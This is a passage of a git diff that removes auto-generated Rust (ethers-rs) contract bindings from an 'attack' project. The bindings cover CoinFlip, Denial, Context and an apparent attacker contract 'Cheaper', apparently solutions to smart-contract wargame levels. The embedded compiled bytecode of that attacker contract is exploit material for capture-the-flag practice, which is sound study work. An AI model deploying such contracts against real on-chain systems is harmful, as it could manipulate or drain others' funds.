\x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01KW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01o\x91\x90a\x02\x08V[\x15\x15`\0\x03a\x01~WP`e\x90V[P`\x01\x90V[`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xA6\xF2\xAE:`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x02W=`\0\x80>=`\0\xFD[PPPPV[`\0` \x82\x84\x03\x12\x15a\x02\x1AW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02*W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x05Dr\xF5\xF5\xFBvww\x80JR\xB3\xDF.\x16\x86\x02e\x9E \x91\xE6\xEC@\xDA$z\xBFL\xCDNdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static CHEAPER_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\0QW\x80c\x8D\xA5\xCB[\x14a\0\x9BW\x80c\xA05\xB1\xFE\x14a\0\xBBW\x80c\xA1i\xCE\t\x14a\0\xD1W[`\0\x80\xFD[`\x01Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xC3a\0\xDBV[`@Q\x90\x81R` \x01a\0\x92V[a\0\xD9a\x01\x84V[\0[`\x01T`@\x80Q\x7F\xE8R\xE7A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Q`\0\x92s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91c\xE8R\xE7A\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01KW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01o\x91\x90a\x02\x08V[\x15\x15`\0\x03a\x01~WP`e\x90V[P`\x01\x90V[`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xA6\xF2\xAE:`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x02W=`\0\x80>=`\0\xFD[PPPPV[`\0` \x82\x84\x03\x12\x15a\x02\x1AW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02*W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x05Dr\xF5\xF5\xFBvww\x80JR\xB3\xDF.\x16\x86\x02e\x9E \x91\xE6\xEC@\xDA$z\xBFL\xCDNdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static CHEAPER_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Cheaper(::ethers::contract::Contract); - impl ::core::clone::Clone for Cheaper { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Cheaper { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Cheaper { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Cheaper { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Cheaper)) - .field(&self.address()) - .finish() - } - } - impl Cheaper { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - CHEAPER_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - CHEAPER_ABI.clone(), - CHEAPER_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `boom` (0xa169ce09) - /// function - pub fn boom( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([161, 105, 206, 9], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `original` (0x46c715fa) - /// function - pub fn original( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([70, 199, 21, 250], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `price` (0xa035b1fe) - /// function - pub fn price( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([160, 53, 177, 254], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Cheaper - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `boom` function with signature `boom()` and selector - /// `0xa169ce09` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom()")] - pub struct BoomCall; - ///Container type for all input parameters for the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "original", abi = "original()")] - pub struct OriginalCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "price", abi = "price()")] - pub struct PriceCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum CheaperCalls { - Boom(BoomCall), - Original(OriginalCall), - Owner(OwnerCall), - Price(PriceCall), - } - impl ::ethers::core::abi::AbiDecode for CheaperCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Original(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Price(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for CheaperCalls { - fn encode(self) -> Vec { - match self { - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Original(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Price(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for CheaperCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Original(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::Price(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for CheaperCalls { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From for CheaperCalls { - fn from(value: OriginalCall) -> Self { Self::Original(value) } - } - impl ::core::convert::From for CheaperCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for CheaperCalls { - fn from(value: PriceCall) -> Self { Self::Price(value) } - } - ///Container type for all return fields from the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OriginalReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PriceReturn(pub ::ethers::core::types::U256); -} diff --git a/attack/src/abi/coin_flip.rs b/attack/src/abi/coin_flip.rs deleted file mode 100644 index 6a51963..0000000 --- a/attack/src/abi/coin_flip.rs +++ /dev/null @@ -1,325 +0,0 @@ -pub use coin_flip::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod coin_flip { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("consecutiveWins"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("consecutiveWins"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("flip"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("flip"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_guess"), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static COINFLIP_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\x01`\xFF\x1B`\x02U4\x80\x15a\0\x18W`\0\x80\xFD[P`\0\x80Ua\x02\x1B\x80a\0,`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x1D&?g\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01\x01V[a\0zV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0l`\0T\x81V[`@Q\x90\x81R` \x01a\0ZV[`\0\x80a\0\x88`\x01Ca\x01YV[@`\0\x1C\x90P\x80`\x01T\x03a\0\x9CW`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\xB1\x90\x83a\x01rV[\x90P`\0\x81`\x01\x14a\0\xC4W`\0a\0\xC7V[`\x01[\x90P\x84\x15\x15\x81\x15\x15\x03a\0\xF3W`\0\x80T\x90\x80a\0\xE3\x83a\x01\xADV[\x90\x91UP`\x01\x96\x95PPPPPPV[PP`\0\x80\x80U\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\x13W`\0\x80\xFD[\x815\x80\x15\x15\x81\x14a\x01#W`\0\x80\xFD[\x93\x92PPPV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x01lWa\x01la\x01*V[\x92\x91PPV[`\0\x82a\x01\xA8W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x03a\x01\xDEWa\x01\xDEa\x01*V[P`\x01\x01\x90V\xFE\xA2dipfsX\"\x12 \x8A\xF2\x87\xA0\xB8\xC6\x1E'j\x8C\xB8\x98\x1D\x90\xEE\xA5\x9B7Z\xC2R\xBCp\xC9\xAC\x07\xED\xCA~\xDFe#dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static COINFLIP_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x1D&?g\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01\x01V[a\0zV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0l`\0T\x81V[`@Q\x90\x81R` \x01a\0ZV[`\0\x80a\0\x88`\x01Ca\x01YV[@`\0\x1C\x90P\x80`\x01T\x03a\0\x9CW`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\xB1\x90\x83a\x01rV[\x90P`\0\x81`\x01\x14a\0\xC4W`\0a\0\xC7V[`\x01[\x90P\x84\x15\x15\x81\x15\x15\x03a\0\xF3W`\0\x80T\x90\x80a\0\xE3\x83a\x01\xADV[\x90\x91UP`\x01\x96\x95PPPPPPV[PP`\0\x80\x80U\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\x13W`\0\x80\xFD[\x815\x80\x15\x15\x81\x14a\x01#W`\0\x80\xFD[\x93\x92PPPV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x01lWa\x01la\x01*V[\x92\x91PPV[`\0\x82a\x01\xA8W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x03a\x01\xDEWa\x01\xDEa\x01*V[P`\x01\x01\x90V\xFE\xA2dipfsX\"\x12 \x8A\xF2\x87\xA0\xB8\xC6\x1E'j\x8C\xB8\x98\x1D\x90\xEE\xA5\x9B7Z\xC2R\xBCp\xC9\xAC\x07\xED\xCA~\xDFe#dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static COINFLIP_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct CoinFlip(::ethers::contract::Contract); - impl ::core::clone::Clone for CoinFlip { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for CoinFlip { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for CoinFlip { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for CoinFlip { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(CoinFlip)) - .field(&self.address()) - .finish() - } - } - impl CoinFlip { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - COINFLIP_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - COINFLIP_ABI.clone(), - COINFLIP_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `consecutiveWins` - /// (0xe6f334d7) function - pub fn consecutive_wins( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([230, 243, 52, 215], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `flip` (0x1d263f67) - /// function - pub fn flip( - &self, - guess: bool, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([29, 38, 63, 103], guess) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for CoinFlip - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `consecutiveWins` function with signature - /// `consecutiveWins()` and selector `0xe6f334d7` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "consecutiveWins", abi = "consecutiveWins()")] - pub struct ConsecutiveWinsCall; - ///Container type for all input parameters for the - /// `flip` function with signature `flip(bool)` and - /// selector `0x1d263f67` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "flip", abi = "flip(bool)")] - pub struct FlipCall { - pub guess: bool, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum CoinFlipCalls { - ConsecutiveWins(ConsecutiveWinsCall), - Flip(FlipCall), - } - impl ::ethers::core::abi::AbiDecode for CoinFlipCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::ConsecutiveWins(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Flip(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for CoinFlipCalls { - fn encode(self) -> Vec { - match self { - Self::ConsecutiveWins(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Flip(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for CoinFlipCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ConsecutiveWins(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Flip(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for CoinFlipCalls { - fn from(value: ConsecutiveWinsCall) -> Self { - Self::ConsecutiveWins(value) - } - } - impl ::core::convert::From for CoinFlipCalls { - fn from(value: FlipCall) -> Self { Self::Flip(value) } - } - ///Container type for all return fields from the - /// `consecutiveWins` function with signature - /// `consecutiveWins()` and selector `0xe6f334d7` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ConsecutiveWinsReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the `flip` - /// function with signature `flip(bool)` and selector - /// `0x1d263f67` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct FlipReturn(pub bool); -} diff --git a/attack/src/abi/context.rs b/attack/src/abi/context.rs deleted file mode 100644 index 49bf12f..0000000 --- a/attack/src/abi/context.rs +++ /dev/null @@ -1,71 +0,0 @@ -pub use context::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod context { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::std::collections::BTreeMap::new(), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static CONTEXT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - pub struct Context(::ethers::contract::Contract); - impl ::core::clone::Clone for Context { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Context { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Context { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Context { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Context)) - .field(&self.address()) - .finish() - } - } - impl Context { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - CONTEXT_ABI.clone(), - client, - )) - } - } - impl - From<::ethers::contract::Contract> for Context - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } -} diff --git a/attack/src/abi/denial.rs b/attack/src/abi/denial.rs deleted file mode 100644 index cd1419c..0000000 --- a/attack/src/abi/denial.rs +++ /dev/null @@ -1,505 +0,0 @@ -pub use denial::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod denial { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("contractBalance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("contractBalance"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("partner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("partner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("setWithdrawPartner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setWithdrawPartner"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_partner"), - kind: 